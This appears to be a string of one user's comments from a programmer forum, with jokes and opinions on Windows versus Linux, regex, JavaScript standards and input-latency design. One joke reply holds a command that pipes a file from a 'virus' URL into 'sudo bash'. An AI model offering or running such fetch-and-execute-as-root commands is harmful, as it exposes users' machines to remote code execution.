@RememberMe yeah, until the OS stabs you in the back with weird behavior. I've had it with Windows. It has a decent OOTB functionality overall, but the blue screens, freezes, excessive memory usage, unexplicable errors in apps, bloatware, disk fragmentation, and so on pile up.

In contrast, I often leave my linux computer on for weeks without any issue at all: current record is 35 days and I just had to turn it off for traveling. Don't get me wrong, if Windows works for you, great. For me it's not worth it.

@that-guy but this time is not nvidia's fault, pytorch is the one lacking support for my gpu :/

940M is not even that old, from March 2015
guess I'll rent a machine

@Godsbane I see you stopped reading the post after it

@elitedawn bc designers that code are too rare

@kaesaecracker open the console in a FB page

@mngr welcome to the dark ages - I mean - Australia

Well, actually...
Jk

Gravity only works if you look down

Maybe it's a form for hiring frontend devs

@marcus5914 69

And if you consider each floppy disk 4mm high, a 4TB disk is equivalent to an almost 11km tower of floppy disks. A plane in cruising flight could still hit it.

I wonder why I don't see programs hanging using linux, at least not that often. Does anyone else feel like this?

@wholl0p I think it needs sudo

curl somerussiansite.ru/virus | sudo bash

That's so cool

@Krokoklemme right, and sorry for the RAS syndrome of "regex expression" 😅

People saying that ~respect should be earned~ incoming...

@Krokoklemme but still, you can simply copy and paste a regex expression

I'd disagree it's easier to debug, but definitely easier to port to another language.

@JohanO I'd rather be where you are

txt.replace("Java", "JavaScript")

@Ederbit WHATWG is from 2004. W3C is even older and ECMAScript dates from the 90s as well - standards have always been around and are not constraints, but much more like paved roads in a wild west. The number of frameworks is likely to keep going up with more development in the area.

@Root 😈

I agree, a submit button is misleading.

Why not melt the chocolate in your coffee

@jespersh so C+=3 ?

C# == (C++)++
C#++ == C+=3

@ScriptCoded

A - the problem here will be latency. The user would probably perceive the input lag as it'd be greater than 40ms.

B - More than one source of truth issue. It's fine if the local store is used as a local backup in case of missing data though, but the input content would have a greater priority (unless the store content is newer e.g. in a page reload).

C - Once again the problem of perceived latency. IMO the input content should not depend on network requests.

In conclusion, I think B is manageable, you just need to solve data discrepancy scenarios by establishing a priority based on the most recent edit (maintaining one source of truth).

@Jilano let's do this
The name is the toughest part

C.U.R.S.E.
Complexity and Unholiness Reckoning for Software Endeavors

@DLMousey lol pedantic hat

I know, I just think it could be broken down in even simpler and detailed terms, but it is a fairly good explanation nonetheless.

@Jilano for a more accurate analysis one should also consider the amount of "wtf", "fuck", "shit" and so on. If it's a world-wide team, searches in other languages could also return meaningful results.

In fact there could be a cli tool for that, it can be a complex analysis, but quite insightful. When dividing the number of swearing words by the development time, a measurement of curses per hour could be standardized as a complexity unit.

@ParkCity I've known about bash_aliases and bash_profile for a while, but I find it simpler to just use bashrc.